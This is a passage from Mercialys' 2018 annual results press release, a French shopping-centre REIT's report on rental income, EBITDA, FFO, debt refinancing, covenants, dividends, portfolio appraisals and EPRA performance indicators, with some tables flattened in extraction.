Dec 31, 2018 Dec 31, 2017 Restaurants and catering 7.4% 7.3% Health and beauty 10.6% 10.3% Culture, gifts and sports 13.4% 13.2% Personal items 31.5% 31.7% Household equipment 6.8% 7.2% Food-anchored tenants 27.5% 27.6% Services 2.7% 2.6% Total 100.0% 100.0%

The structure of rental income at December 31, 2018 shows that leases with a variable component represent the dominant share in terms of rent:

Number of leases in Euro M Dec 31, 2018 (in %) Dec 31, 2017 (in %) Leases with variable component 1,283 99.1 54% 54% - of which Minimum Guaranteed Rent 94.2 52% 51% - of which variable rent 4.9 3% 4% Leases without variable component 884 83.0 46% 46% Total 2,167 182.1 100% 100%

Lastly, leases index-linked to the French Retail Rent Index (ILC) made up the predominant share of rents at December 31, 2018:

Number of leases in Euro M Dec 31, 2018 (in %) Dec 31, 2017 (in %) Leases index-linked to the Retail Rent Index (ILC) 1,693 164.7 93% 91% Leases index-linked to the Construction Cost Index (ICC) 241 10.6 6% 7% Leases index-linked to the Tertiary Activities Rent Index

(ILAT) and non-adjustable leases 233 2.0 1% 2% Total 2,167 177.3 100% 100%

5. Review of consolidated results

5.1. Invoiced rents, rental revenues and net rental income

Rental revenues mainly comprise rents invoiced by the Company plus a smaller element of lease rights and despecialization indemnities paid by tenants and spread out over the firm period of the lease (usually 36 months).

(In thousands of euros) Dec 31, 2018 Dec 31, 2017 Change (%) Invoiced rents 185,213 183,514 +0.9% Lease rights 2,074 1,805 +14.9% Rental revenues 187,287 185,318 +1.1% Non-recovered service charges and property taxes -5,000 -5,904 -15.3% Property operating expenses -6,920 -7,227 -4.2% Net rental income 175,367 172,188 +1.8%

The change in invoiced rents of +0.9 point results from the following factors:

sustained organic growth in invoiced rents 32 : +3.7 points , representing Euro +6.9M

: , representing Euro +6.9M acquisitions made in 2018: +0.3 point , representing Euro +0.6M

, representing Euro +0.6M impact of asset disposals in 2017 and 2018: -2.0 points or Euro -3.7M

or Euro -3.7M other effects, primarily including strategic vacancy linked to current redevelopment programs: -1.1 points, representing Euro -2.1M

Like-for-like, invoiced rents are up +3.7 points, including in particular:

+1.2 points as a result of indexation 33

as a result of indexation +2.5 points as a result of all the actions carried out on the portfolio, the renewals and re-letting having generated an annual average growth in the rental base of +10.1%34 over the fiscal year

Lease rights and despecialization indemnities35 received over the period stood at Euro 5.4M, against Euro 1.5M at December 31, 2017 and break down as follows:

Euro 5.3M of lease rights related to the re-letting activity (vs. Euro 1.5M in 2017), of which Euro 4.5M received on the Le Port site on Reunion island, which was the subject of a significant extension project delivered in November 2018

an insignificant amount of despecialization indemnities, as in 2017

After taking into account the deferrals on the firm duration of leases specified by IFRS standards, the lease rights recognized in 2018 stand at Euro 2.1M, against Euro 1.8M in 2017.

Rental revenues stood at Euro 187.3M at December 31, 2018, up by +1.1% compared to the end 2017.

Net rental income consists of rental revenues less costs directly allocated to real estate assets. These costs include property taxes and service charges that are not re-invoiced to tenants, together with property operating expenses (which mainly comprise fees paid to the property manager that are not re-invoiced and various charges relating directly to the operation of sites).

Expenses coming within the calculation of net rental income represented Euro 11.9M for 2018, against Euro 13.1M for 2017. The ratio of non-recovered property operating expenses to invoiced rents was 6.4% at December 31, 2018, compared with 7.2% at December 31, 2017.

Through the increase in invoiced rents, the growth in lease rights and the optimization of non-recoverable expenses, net rental income increased by 1.8% compared to December 31, 2017, at Euro 175.4M.

5.2. Income from management, structural expenses and EBITDA

(In thousands of euros) Dec 31, 2018 Dec 31, 2017 Change (%) Net rental income 175,367 172,188 +1.8% Management, administrative and other activities income 3,076 4,066 -24.4% Other income and expenses -8,050 -8,788 -8.4% Personnel expenses -12,581 -12,398 +1.5% EBITDA 157,812 155,069 +1.8% % rental revenues 84.3% 83.7% na

Management, administrative and other activities income primarily comprises fees charged in respect of services provided by certain Mercialys staff (whether within the framework of advisory services provided by the asset management team, which works on a cross-functional basis for Mercialys and the Casino Group, or within the framework of shopping center management services provided by teams) as well as letting, asset management and advisory fees relating to partnerships formed.

Fees invoiced in 2018 stood at Euro 3.1M against Euro 4.1M in 2017. Fiscal year 2017 benefited from a one-off fee invoice for the license on the brand G La Galerie for Euro 0.8M.

No property development margin was recorded in 2018.

Other recurring income of Euro 0.3M recognized in 2018 was stable compared to 2017. It includes dividends received from the OPCI created in partnership with the company Union Investment in 2011. Ownership of this fund is split between Union Investment (80%) and Mercialys (20%) and is recorded in Mercialys' accounts under non-consolidated securities in non-current assets. Mercialys operates the fund and is in charge of asset management and letting. These dividends, similar to net rental revenues, are recognized as operating income.

Other current expenses mainly comprise structural costs. Structural costs primarily include investor relations costs, directors' fees, corporate communication costs, shopping center communication costs, marketing survey costs, fees paid to the Casino Group for services covered by the Services Agreement (accounting, financial management, human resources, IT management), professional fees (Statutory Auditors, consulting, research) and real estate asset appraisal fees.

In 2018, these expenses stood at Euro 8.3M against Euro 9.1M in 2017. This change is the result of the efforts made by the Company to control the cost structure.

Personnel expenses stood at Euro 12.6M in 2018, an amount comparable to the expense in 2017 (Euro 12.4M).

A portion of personnel expenses are charged back to the Casino Group as part of the advisory services provided by the asset management team, which works on a cross-functional basis for Mercialys and the Casino Group, or as part of the shopping center management services provided by Mercialys' teams (see paragraph above concerning management, administrative and other activities income).

As a consequence of the aforementioned, EBITDA36for 2018 stood at Euro 157.8M against Euro 155.1M in 2017, up by +1.8%. The EBITDA ratio was 84.3% at December 31, 2018 (compared with 83.7% at end-2017).

5.3. Net financial items

In 2018, Mercialys finalized the early refinancing of the bond of Euro 479.7M which will be redeemed at its maturity in March 2019 and bears a coupon of 4.125%. Indeed, in February, the Company successfully placed a bond issue for an amount of Euro 300M maturing in February 2026 and bearing a coupon of 1.80%. This operation followed a private placement of a bond of Euro 150M with a November 2027 maturity and a 2.0% coupon, performed in November 2017.

These new financing lines, raised under very favorable conditions, have helped extend the average maturity of debt and achieve a very significant reduction in Mercialys' financing costs from March 2019. After setting up hedging instruments, the impact on 2018 Funds from Operations (FFO) of the carrying cost of these new financing transactions stood at Euro 4.1M, in line with the Company's estimate reviewed in July 2018. Following the redemption of the bond of Euro 479.7M in March 2019, Mercialys will benefit, all else being equal, from a significant reduction in its financial expenses, which will continue, on an annual basis, in 2020.

Net financial items stood at Euro 33.2M at December 31, 2018, compared to Euro 32.0M at December 31, 2017. Restated for the impact of non-recurring elements (impact of hedging ineffectiveness and banking default risk), which represents an expense of Euro 0.4M (vs a cumulative expense of Euro 1.6M at the end of December 2017), the net financial items stood at Euro 32.8M, against Euro 30.4M at the end of December 2017.

The average real cost of drawn debt at December 31, 2018 stood at 1.8%, stable compared to the first half of 2018 and slightly down compared to 2017 (1.9%).

The table below shows a breakdown of net financial items:

(in thousands of euros) Dec 31, 2018 Dec 31, 2017 Change (%) Income from cash and equivalents (a) 430 156 ns Cost of debt taken out (b) -43,937 -36,909 +19.0% Impact of hedging instruments (c) 12,239 6,690 +82.9% Cost of property finance leases (d) 0 0 na Gross finance costs excluding exceptional items -31,697 -30,219 +4.9% Exceptional depreciation of costs in relation to the early repayment of bank loans (e) na na na Gross finance costs (f) (b)+(c)+(d)+(e) -31,697 -30,219 +4.9% Net finance costs (g) (a)+(f) -31,267 -30,063 +4.0% Cost of Revolving Credit Facility and bilateral loans (undrawn) (h -2,154 -2,150 +0.2% Other financial expenses (i) -41 -23 +78.3% Other financial expenses excluding exceptional items (j) (h)+(i) -2,195 -2,173 +1.0% Exceptional depreciation in relation to refinancing of the RCF (k) na na na Other financial expenses (l) (j)+(k) -2,195 -2,173 +1.0% TOTAL FINANCIAL EXPENSES (m) (f)+(l) -33,892 -32,392 +4.6% Income from associates 0 0 na Other financial income 285 254 +12.2% Other financial income (n) 285 254 +12.2% TOTAL FINANCIAL INCOME (o) (a)+(n) 715 410 +74.4% NET FINANCIAL ITEMS (m)+(o) -33,177 -31,982 +3.7%

5.4. Funds from Operations (FFO) and net income attributable to owners of the parent

5.4.1. Funds from Operations (FFO)

(In thousands of euros) Dec 31, 2018 Dec 31, 2017 Change (%) EBITDA 157,812 155,069 +1.8% Net financial items (excluding impact of hedging ineffectiveness and banking default risk) -32,790 -30,375 +8.0% Reversals of/(allowances for) provisions -1,481 -1,528 -3.1% Other operating income and expenses (excluding gains on disposals and impairment) 91 -1,057 ns Tax expense -2,402 -645 ns Share of net income from equity associates (excluding amortization and impairment)37 4,201 2,540 +65.4% Non-controlling interests (excluding capital gains and amortization) -10,371 -10,036 +3.3% FFO 115,060 113,969 +1.0% FFO per share 1.25 1.24 +1.1%

The tax regime for French SIIC (REIT) companies exempts them from paying tax on their income from real estate activities, provided that at least 95% of net income from rental activities and 60% of gains on the disposal of real estate assets are distributed to shareholders. The tax expense recognized by Mercialys consists of corporate value-added tax (CVAE), corporate tax on activities not covered by the SIIC status and deferred tax.

2018 recorded a tax expense of Euro 2.4M mainly composed of the corporate value-added tax (Euro 2.0M) and deferred tax (Euro 0.4M). In 2017, this item benefited from the claim for the 3% tax reimbursement, representing income of Euro 1.3M.

The amount recognized at December 31, 2018 pursuant to the share of net income from equity associates (excluding amortization and impairment) stood at Euro 4.2M against Euro 2.5M at December 31, 2017. SCI AMR has notably benefited from positive trends, with its portfolio further strengthened by the dynamic Niort and Albertville sites, while SNC Aix2 has also recorded a very satisfactory performance. Companies consolidated under the equity method in the Mercialys consolidated financial statements include SCI AMR (created in partnership with Amundi Immobilier in 2013), SNC Aix2 (of which Mercialys acquired 50% of the shares in December 2013 with Altarea Cogedim owning the remaining 50%), Corin Asset Management SAS (of which Mercialys owns 40%), and SCI Rennes Anglet (of which Mercialys owns 30%).

Non-controlling interests (excluding capital gains and amortization) stood at Euro 10.4M at December 31, 2018 compared to Euro 10.0M at December 31, 2017. These are linked to the 49% stake held by BNP Paribas REIM France in the companies Hypertethis Participations and Immosiris. Since Mercialys retains exclusive control, these subsidiaries are fully consolidated.

Based on these items, Funds from Operations (FFO), which correspond to the net income before depreciation and amortization, capital gains or losses on disposals net of associated fees, any asset impairment and other non-recurring effects, stood at Euro 115.1M (against Euro 114.0M for fiscal year 2017), up by +1.0%. Excluding the Euro 4.1M impact of the carrying cost related to refinancing the bond maturing in 2019 after setting up hedging instruments (including the effect of the private placement concluded in November 2017), the FFO increased by +4.5%, significantly higher than the objective of +2%.

Considering the average number of shares (basic) at the end of December, the FFO represented Euro 1.25 per share on December 31, 2018, against Euro 1.24 per share at December 31, 2017, i.e. an increase of +1.1%.

5.4.2. Net income attributable to owners of the parent

(In thousands of euros) Dec 31, 2018 Dec 31, 2017 Change (%) FFO 115,060 113,969 +1.0% Depreciation and amortization -37,016 -34,822 +6.3% Other operating income and expenses 4,780 7,416 -35.5% Hedging ineffectiveness and banking default risk -387 -1,607 -75.9% Non-controlling interests and associates: capital gains, amortization and impairment -1,585 1,711 na Net income attributable to owners of the parent 80,851 86,667 -6.7%

Depreciation, amortization and provisions increased significantly to Euro 37.0M in 2018, compared to Euro 34.8M in 2017, in parallel with the investments made in 2017 and 2018.

Other operating income and expenses not included in the Funds from Operations (FFO) correspond notably to the net amount of capital gains on property disposals and provisions for impairment of assets.

In this regard, the amount of other operating income stood at Euro 30.5M at December 31, 2018. This amount mainly includes:

income of Euro 27.2M related to disposals of assets carried out over the period

earn-out payments ascertained on prior disposals for an amount of Euro 1.5M

income associated with reversals of provisions on assets sold for Euro 1.5M

The amount of other operating expenses stood at Euro 25.6M at December 31, 2018 (against Euro 172.0M on December 31, 2017). This corresponds primarily to:

the net book value of assets disposed of during 2018 and fees related to these disposals, representing Euro 20.9M

impairment of investment property for Euro 3.2M

expenses associated with provisions for disputes for Euro 1.2M

On this basis, the amount of net capital gains recognized in the consolidated financial statements at December 31, 2018, pursuant to the disposal of assets over 2018, stood at Euro 6.3M (vs. Euro 14.3M in 2017). The capital gains on asset disposals recorded in the separate financial statements amount to Euro 8.8M and will be distributable at 60% in accordance with the SIIC status rules.

Also, the contribution of companies accounted for by the equity method includes an amount of impairment of investment property for Euro 1.8M at the end of 2018.

Net income attributable to owners of the parent, as defined in IFRS standards, stands at Euro 80.9M for 2018, against Euro 86.7M for 2017. This development results mainly from the more favorable impact of capital gains on disposals on the 2017 result, as well as the carrying cost pursuant to the early refinancing of the bond maturing in March 2019.

5.5. Financial structure

5.5.1. Debt cost and structure

At December 31, 2018, the amount of Mercialys' drawn debt stood at Euro 1,862.7M, composed of:

a residual bond of Euro 479.7M (issue of Euro 650M in March 2012, partially redeemed in December 2014), bearing interest at a fixed rate coupon of 4.125%, maturing in March 2019;

a bond of a total nominal amount of Euro 750 M, bearing interest at a fixed rate coupon of 1.787%, maturing in March 2023;

a bond of a nominal amount of Euro 300M, bearing interest at a fixed rate coupon of 1.80%, maturing in February 2026;

a private bond placement, of a nominal amount of Euro 150M, bearing interest at a fixed rate coupon of 2.00%, maturing in November 2027;

Euro 183M of outstanding commercial paper bearing interest at a slightly negative average rate.

Net financial debt stood at Euro 1,478.2M at December 31, 2018, compared to Euro 1,427.0M at December 31, 2017.

The Group cash and cash equivalents stood at Euro 377.0M at December 31, 2018, compared to Euro 196.5M at December 31, 2017. The main cash flows that impacted the change in Mercialys' cash position over the period were as follows:

net cash flows generated by the operating activity over the period: Euro +166.1M

cash receipts payments related to disposals acquisitions of assets made in 2018: Euro -60.5M

dividend payments to shareholders and non-controlling interests: Euro -119.1M

the raising of a new bond net of the reduction in outstanding commercial papers: Euro +223.0M

net interest paid: Euro -25.6M

The average real cost of debt drawn stands at 1.8%, stable compared to the first half of 2018 and slightly down compared to 2017 (1.9%).

Taking into account the current rate hedging policy, Mercialys' debt structure at December 31, 2018 was as follows: 63% fixed-rate debt and 37% floating-rate debt, virtually unchanged from the end of 2017 (65% and 35%, respectively).

5.5.2. Liquidity and debt maturity

The average maturity of drawn debt stood at 3.7 years at December 31, 2018, stable compared to December 31, 2017, benefiting from the issue in February 2018 of a bond of Euro 300M maturing in February 2026. The bond of a residual amount of Euro 479.7M maturing in March 2019 weighs significantly on this maturity.

Mercialys also has undrawn financial resources of up to Euro 410M, enabling it to benefit from a satisfactory level of liquidity:

a bank revolving credit facility of Euro 240M maturing in December 2020. This facility bears interest at Euribor a margin of 115 basis points; if undrawn, it is subject to payment of a 0.46% non-use fee (for a BBB rating);

four confirmed bank facilities for a total amount of Euro 120M, maturing between July 2021 and January 2022. These facilities bear interest at a rate lower than 100 basis points above Euribor (for a BBB rating);

a cash advance from Casino within the limit of Euro 50M, maturing at December 31, 2020, and subject to an interest of between 40 and 95 basis points above Euribor.

In addition, Mercialys has a commercial paper program of Euro 500M which was put in place in the second half of 2012. It is used up to Euro 183M (outstanding at December 31, 2018).

The graph below shows the Group's debt maturity schedule at December 31, 2018 and undrawn financial resources (excluding commercial paper):

Mar. 2019 Dec. 2019 Jul. 2020 Dec. 2020 Jul. 2021 Dec. 2021 Jan. 2022 Mar. 2023 2024 2025 Feb. 2026 Nov. 2027 Confirmed bank facilities 60 30 30 Casino cash advance 50 Bonds 480 750 300 150 Revolving credit facility 240

Note that the renewals of the Euro 50M cash advance from Casino and of the bilateral line maturing in December 2021 were finalized in January 2019.

5.5.3. Bank covenants and financial rating

Mercialys' financial position at December 31, 2018 satisfied all the various covenants included in the different credit agreements.

Debt ratio (LTV: Loan To Value) stands at 40.8% (vs. 39.9% at the end of 2017), well below the contractual covenant (LTV 50%).

Dec 31, 2018 Dec 31, 2017 Net financial debt (Euro M) 1,478.2 1,427.0 Property assets appraisal value excluding transfer taxes (Euro M)38 3,621.2 3,580.6 Loan To Value (LTV) 40.8% 39.9%

Likewise, the ratio of EBITDA/net finance costs (ICR: Interest Coverage ratio) stood at 5.0x well beyond the contractual covenant (ICR 2). This indicator was affected by the carrying cost of the early refinancing of the bond maturing in March 2019:

Dec 31, 2018 Dec 31, 2017 EBITDA (Euro M) 157.8 155.1 Net finance costs -31.3 -30.1 Interest Coverage Ratio (ICR) 5.0x 5.2x

The two other bank covenants requirements are also met:

the fair value of assets excluding transfer taxes at December 31, 2018 was Euro 3.6B, above the contractual covenant, which sets a fair value excluding transfer taxes of investment properties of over Euro 1B;

at December 31, 2018 was Euro 3.6B, above the contractual covenant, which sets a fair value excluding transfer taxes of investment properties of over Euro 1B; a ratio of secured debt/fair value of assets excluding transfer taxes of less than 20%. Mercialys had no secured debt at

December 31, 2018.

Mercialys is rated by Standard Poor's. On June 11, 2018, the agency confirmed its rating for Mercialys of BBB (with stable outlook).

5.6. Equity and ownership structure

Consolidated equity stood at Euro 879.5M at December 31, 2018, against Euro 920.5M at December 31, 2017.

The main changes that affected this item during the period were as follows:

net income for the 2018 fiscal year: Euro +89.6M

payment of the final dividend for the 2017 fiscal year of Euro 0.68 per share and dividends paid to non-controlling interests: Euro -73.2M

payment of an interim dividend for the fiscal year 2018 of Euro 0.50 per share: Euro -45.8M

transactions carried out on treasury shares: Euro -3.0M

impact of the application of the IFRS 9 standard pursuant to the fair value of financial instruments: Euro -2.7M

change in the fair value of financial assets and derivatives: Euro -6.1M

The number of shares outstanding at December 31, 2018 stands at 92,049,169, unchanged compared to December 31, 2017.

2018 2017 2016 Number of shares outstanding - At start of period 92,049,169 92,049,169 92,049,169 - At end of period 92,049,169 92,049,169 92,049,169 Average number of shares outstanding 92,049,169 92,049,169 92,049,169 Average number of shares (basic) 91,733,866 91,830,447 91,856,715 Average number of shares (diluted) 91,733,866 91,830,447 91,856,715

As of December 31, 2018, the Mercialys' ownership structure was as follows: Casino Group (25.16%), Credit-Agricole SA (17.76%), Groupe Generali (8.01%), Fonciere Euris39 (1.00%), own shares and employees (0.41%), other shareholders (47.65%).

5.7. Dividends

The final dividend for 2017 paid on May 3, 2018 stood at Euro 0.68 per share, which represents a total amount of dividends distributed of Euro 62.4M, fully paid in cash.

At its meeting of July 25, 2018, the Board of Directors decided to pay an interim dividend for the 2018 fiscal year of Euro 0.50 per share which was paid on October 23, 2018, representing a total interim distribution of Euro 45.8M fully paid in cash.

Mercialys' Board of Directors will submit a recommendation to the Annual General Meeting on April 25, 2019 for a dividend of Euro 1.12 per share (including the Euro 0.50 per share interim dividend already paid in October 2018). The proposed dividend is up +2.8% from 2017, with a yield of 5.3% based on the EPRA NNNAV of Euro 21.14 per share from end-2018 and 9.4% based on the year's closing share price. The payout corresponds to 90% of 2018 FFO, in line with Mercialys' guidance (range of 85% to 95% of 2018 FFO and dividend growth of at least +2% versus 2017).

The ex-dividend date is April 29, 2019, and the dividend will be paid out on May 2, 2019.

This payment corresponds to the distribution of 95% of the recurrent taxable profit excluding capital gains, in accordance with the SIIC rules (representing Euro 0.93 per share), as well as all the capital gains available for distribution based on asset sales from 2018 (Euro 0.06 per share), and the remaining amount of the capital gains available for distribution based on assets sold in 2017 (representing Euro 0.13 per share).

6. Changes in the scope of consolidation and valuation of the asset portfolio

6.1. Asset acquisitions

No significant acquisition was made in 2018.

6.2. Completion of extension or requalification projects

Project completions are described in part IV of this press release.

6.3. Disposals

Disposals are described in part IV of this press release.

6.4. Appraisal valuations and changes in consolidation scope

At December 31, 2018, BNP Real Estate Valuation, Catella Valuation, Cushman Wakefield, CBRE and Galtier updated their valuation of Mercialys' portfolio:

BNP Real Estate Valuation conducted the appraisal of 39 sites as at December 31, 2018, based on an on-site inspection for 7 of these sites during the second half-year of 2018, and on an update of the appraisals carried out at June 30, 2018 for the other sites. An on-site inspection had been carried out in 2 sites during the first half-year of 2018;

Catella Valuation conducted the appraisal of 19 sites as at December 31, 2018, on the basis of an update of the appraisals conducted as at June 30, 2018;

Cushman Wakefield performed the appraisal of 9 assets as at December 31, 2018 based on on-site inspections;

CBRE conducted the appraisal of 1 site as at December 31, 2018, on the basis of an update of the appraisal conducted as at June 30, 2018;

Galtier performed the appraisal for the rest of Mercialys assets, i.e. 2 sites, as at December 31, 2018 based on an update of the appraisals carried out as at June 30, 2018.

On this basis, the valuation of the portfolio stands at Euro 3,780.2M including transfer taxes at December 31, 2018, compared with Euro 3,736.7M at December 31, 2017. Excluding transfer taxes, this value was Euro 3,556.9M at end-2018, vs Euro 3,513.4M at end-2017.

The value of the portfolio including transfer taxes therefore rose by +1.2% over 12 months (+0.4% like-for-like40) and fell by -0.4% compared with June 30, 2018 (-1.0% like-for-like).

The average appraisal yield rate came to 5.10% at December 31, 2018, compared with 5.07% at June 30, 2018 and 5.13% at December 31, 2017.

Note that the contribution of the Casual Leasing business to the value creation is significant, since it accounts for Euro 178M of the portfolio value as at December 31, 2018, a stable amount compared to the end of 2017, while involving no corresponding investment.

Type of property Average yield rate Dec 31, 2018 Average yield rate Jun 30, 2018 Average yield rate

Dec 31, 2017 Regional and Large shopping centers 4.93% 4.82% 4.82% Neighborhood shopping centers and city-center assets 5.78% 5.88% 6.13% Total portfolio41 5.10% 5.07% 5.13%

The following table gives the breakdown of fair value and gross leasable area (GLA) of Mercialys' real estate portfolio by type of property at December 31, 2018, as well as the corresponding appraised rental income. Note that Le Port shopping center was reclassified amongst the "regional and large shopping centers" following the major extension carried out in 2018.

Type of property Number of

assets Appraisal value (excluding transfer taxes) Appraisal value

(including transfer

taxes) Gross leasable area Appraised

potential net

rental income at Dec 31, 2018 at Dec 31, 2018 at Dec 31, 2018 at Dec 31, 2018 (Euro M) (Euro M) (sq.m) (Euro M) Regional and Large shopping centers 25 2,832.8 79.6% 3,006.2 79.5% 654,852 75.0% 148.3 76.9% Neighborhood shopping centers and city-center assets 30 701.0 19.7% 749.3 19.8% 209,039 23.9% 43.3 22.5% Sub-total 55 3,533.8 99.4% 3,755.5 99.3% 863,890 99.0% 191.6 99.4% Other sites 41 6 23.0 0.7% 24.7 0.7% 9,102 1.0% 1.2 0.6% Total 61 3,556.9 100.0% 3,780.2 100.0% 872,992 100.0% 192.7 100.0%

7. Outlook

In 2019, Mercialys will continue moving forward with its proven strategy of constantly adapting its assets and continuously optimizing its retail offer. Its actions will now focus on the five major strategic pillars defined previously.

Against a backdrop of uncertainty, both at commercial level (following the disruption linked to the demonstrations at the end of 2018) and in terms of the portfolio's rotation (due to reduced appetite among investors for retail assets), the Company will also be very attentive and responsive to market developments, particularly concerning its investments.

Mercialys has set the following objectives for 2019:

Organic growth in invoiced rents of around +3% including indexation and at least +1% excluding indexation. Although indexation will remain high, the Company will prudently externalize its reversion potential in 2019, maintaining sustainable occupancy cost ratios for retailers over the long term;

Funds from Operations (FFO) per share growth of at least +4% compared with 2018;

Dividend within a range of 85% to 95% of 2019 FFO, at least stable compared with 2018.

8. Subsequent events

In February 2019, Mercialys completed the disposal of the Gap site, which was the subject of a preliminary sales agreement in July 2018, for an amount of Euro 7.1M including transfer taxes.

9. EPRA performance measurements

Mercialys applies the recommendations of the EPRA42 for the indicators provided below. The EPRA is the representative body of listed real estate companies in Europe. As such, it issues recommendations on performance indicators to improve the comparability of the financial statements published by the various companies.

In its Interim Financial Report and its Registration Document Mercialys publishes all EPRA indicators defined by the "Best Practices Recommendations", which can be found on the EPRA website.

9.1. EPRA earnings and earnings per share

The table below shows the relationship between net income attributable to owners of the parent and "earnings per share" as defined by the EPRA:

(in millions of euros) Dec 31, 2018 Dec 31, 2017 Net income attributable to owners of the parent 80.9 86.7 Non-controlling interests and equity associates: capital gain, amortization and depreciation 1.6 -1.7 Hedging ineffectiveness and banking default risk 0.4 1.6 Capital gains or losses and impairments included in other operating income and expenses -4.8 -7.4 Depreciation and amortization 37.0 34.8 Property development margin 0.0 0.0 EPRA EARNINGS 115.1 114.0 Number of shares (average basic) 91,733,866 91,830,447 EPRA EARNINGS PER SHARE (in euros) 1.25 1.24

The calculation of the FFO (Funds from Operations) communicated by Mercialys is identical to that of the EPRA earnings. There are no adjustments to be made between these two indicators.

9.2. EPRA Net Asset Value (EPRA NAV)

(in millions of euros) Dec 31, 2018 Dec 31, 2017 Shareholders' equity attributable to owners of the parent 679.6 718.5 Unrealized gain on investment property 1,219.9 1,186.2 Unrealized gain on non-consolidated investments and equity associates 29.3 28.6 Fair value of financial instruments -15.3 -18.1 Deferred tax assets on the balance sheet 0.0 0.0 EPRA NAV 1,913.4 1,915.2 Number of shares (average diluted) 91,733,866 91,830,447 EPRA NAV per share (in euros) 20.86 20.86

9.3. EPRA triple Net Asset Value (EPRA NNNAV)

(in millions of euros) Dec 31, 2018 Dec 31, 2017 EPRA NAV 1,913.4 1,915.2 Fair value of financial instruments 15.3 18.1 Fair value of fixed-rate debt 10.7 -46.9 EPRA NNNAV 1,939.5 1,886.4 Number of shares (average diluted) 91,733,866 91,830,447 EPRA NNNAV per share (in euros) 21.14 20.54

9.4. EPRA Net Initial Yield and EPRA "topped-up" Net Initial Yield

The table below shows the comparison between the yield as reported by Mercialys and the yield defined by the EPRA:

(in millions of euros) Dec 31, 2018 Dec 31, 2017 Investment property wholly owned 3,556.9 3,513.4 Assets under development (-) 0.0 -27.0 Completed property portfolio (excluding transfer taxes) 3,556.9 3,486.5 Transfer taxes 223.3 222.5 Completed property portfolio (including transfer taxes) 3,780.2 3,709.0 Annualized rental income 186.9 181.5 Non-recoverable expenses (-) -5.0 -5.6 Annualized net rents 181.9 176.0 Notional gain relating to expiration of step-up rents, rent-free periods or other lease incentives 2.7 3.4 Topped-up net annualized rent 184.6 179.4 EPRA NET INITIAL YIELD 4.81% 4.74% EPRA "TOPPED-UP" NET INITIAL YIELD 4.88% 4.84%

9.5. EPRA cost ratios

(in millions of euros) Dec 31, 2018 Dec 31, 2017 Comments Administrative and operating expense line per IFRS income statement -20.9 -21.5 Personnel expense and other costs Net service charge costs -5.0 -5.9 Property taxes Non-recovered service charges

(including vacancy costs) Rental management fees -2.8 -2.9 Rental management fees Other income and expenses -4.2 -4.3 Other property operating income and expenses excluding management fees Share of joint venture administrative and operating expenses 0.0 0.0 Total -32.8 -34.6 Adjustments to calculate EPRA cost ratio exclude (if included above): 0.0 0.0 - depreciation and amortization 0.0 0.0 Depreciation and provisions for fixed assets - ground rent costs 0.5 0.5 Non-group rents paid - service charges recovered through comprehensive invoicing (with the rent) 0.0 0.0 EPRA costs (including vacancy costs) (A) -32.3 -34.1 A Direct vacancy costs43 2.0 2.3 EPRA costs (excluding vacancy costs) (B) -30.3 -31.8 B Gross rental income less ground rent costs44 186.8 184.8 Less costs relating to construction leases and long-term ground leases Less: service fee and service charge cost components of gross rental income 0.0 0.0 Plus: share of joint ventures (gross rental income less ground rent costs) 0.0 0.0 Rental income (C) 186.8 184.8 C EPRA COST RATIO (including direct vacancy costs) -17.3% -18.4% A C EPRA COST RATIO (excluding direct vacancy costs) -16.2% -17.2% B C

9.6. EPRA vacancy rate

See paragraph 4.1 of this press release.

9.7. EPRA investments

The table below shows the investments made over the period:

(in millions of euros) Dec 31, 2018 Acquisitions 0.0 Development 49.5 Like-for-like portfolio 21.1 Other 8.7 TOTAL 79.3

1 Assets enter the like-for-like scope used to calculate organic growth once they have been held for 12 months

2 Mercialys' large centers and main convenience shopping centers based on a constant surface area, representing more than 80% of the value of the Company's shopping centers. The Le Port site on Reunion island was excluded from the scope in 2018, given the significant non-recurring impact related firstly to extension work and secondly to the inauguration effect

3 CNCC index all centers, comparable scope

4 Calculated based on the average diluted number of shares, in accordance with EPRA (European Public Real Estate Association) guidelines

5 Subject to approval by the Annual General Meeting to be held on April 25, 2019

6 Mercialys' large centers and main convenience shopping centers based on a constant surface area, representing more than 80% of the value of the Company's shopping centers. The Le Port site on Reunion island was excluded from the scope in 2018, given the significant non-recurring impact related firstly to extension work and secondly to the inauguration effect

7 The occupancy rate, as with Mercialys' vacancy rate, does not include agreements relating to the Casual Leasing activity

8 FFO: Funds from Operations net income attributable to owners of the parent before amortization, gains or losses on disposals net of associated fees, any asset impairment and other non-recurring effects

9 Calculated on the average undiluted number of shares (basic), i.e. 91,733,866 shares

10 In 2018

11 INSEE

12 IPG Mediabrands, in partnership with Ipsos and Google, 11 European countries, 4,800 respondents per country

13 e-Commerce and remote sales federation (Fevad) 2018 key figures

14 OC&C ranking of French peoples' favorite brands

15 Cetelem consumption observatory, 2018

16 LSA 2018 e-commerce: use customer content to limit product returns

17 Excluding the impact of mixed-use high-street projects for Euro 85M of investments, which could also generate property development margins

18 54 pro forma for the disposal of the Gap site completed in February 2019, in addition to six geographically dispersed assets

19 Sites on a constant surface basis

20 54 pro forma for the disposal of the Gap site completed in February 2019, in addition to six geographically dispersed assets representing a total appraisal value including transfer taxes of Euro 24.7M

21 17,200 sq.m pro forma for the Gap site's disposal in February 2019

22 Euro 75M pro forma for the Gap site's disposal in February 2019

23 LTV (Loan To Value): Net financial debt/(portfolio's fair value excluding transfer taxes market value of investments in associates for 2018, i.e.

Euro 64.4M, vs Euro 67.2M in 2017), since the value of the portfolio held by associates is not included in the appraisal value

24 ICR (Interest Coverage Ratio): EBITDA/Net finance costs

25 Based on the weighted average number of shares over the period adjusted for treasury shares

weighted average number of shares (non-diluted) in 2018 91,733,866 shares

weighted average number of shares (fully diluted) in 2018 91,733,866 shares

26 Earnings before interest, taxes, depreciation, amortization and other operating income and expenses

27 FFO: Funds from Operations net income attributable to owners of the parent before amortization, gains or losses on disposals net of associated fees, any asset impairment and other non-recurring effects

28 Vacancy base at the last known rent for relettings

29 The occupancy rate, as with Mercialys' vacancy rate, does not include agreements relating to the Casual Leasing activity

30 In accordance with the EPRA calculation method: rental value of vacant units/(annualized Minimum Guaranteed Rent on occupied units rental value of vacant units)

31 Ratio between rent, charges (included marketing funds) and re-invoiced works paid by retailers and their sales revenue (excluding large food stores): (rent charges reinvoiced works incl. tax) sales revenue incl. tax.

32 Assets enter the like-for-like scope used to calculate organic growth once they have been held for 12 months

33 In 2018, for the majority of leases, rents were indexed to the change in the retail rent index (ILC) between the second quarter of 2016 and the second quarter of 2017 (+1.5%) and between the third quarter of 2016 and the third quarter of 2017 (+2.0%)

34 Vacant at last known rent for re-lettings

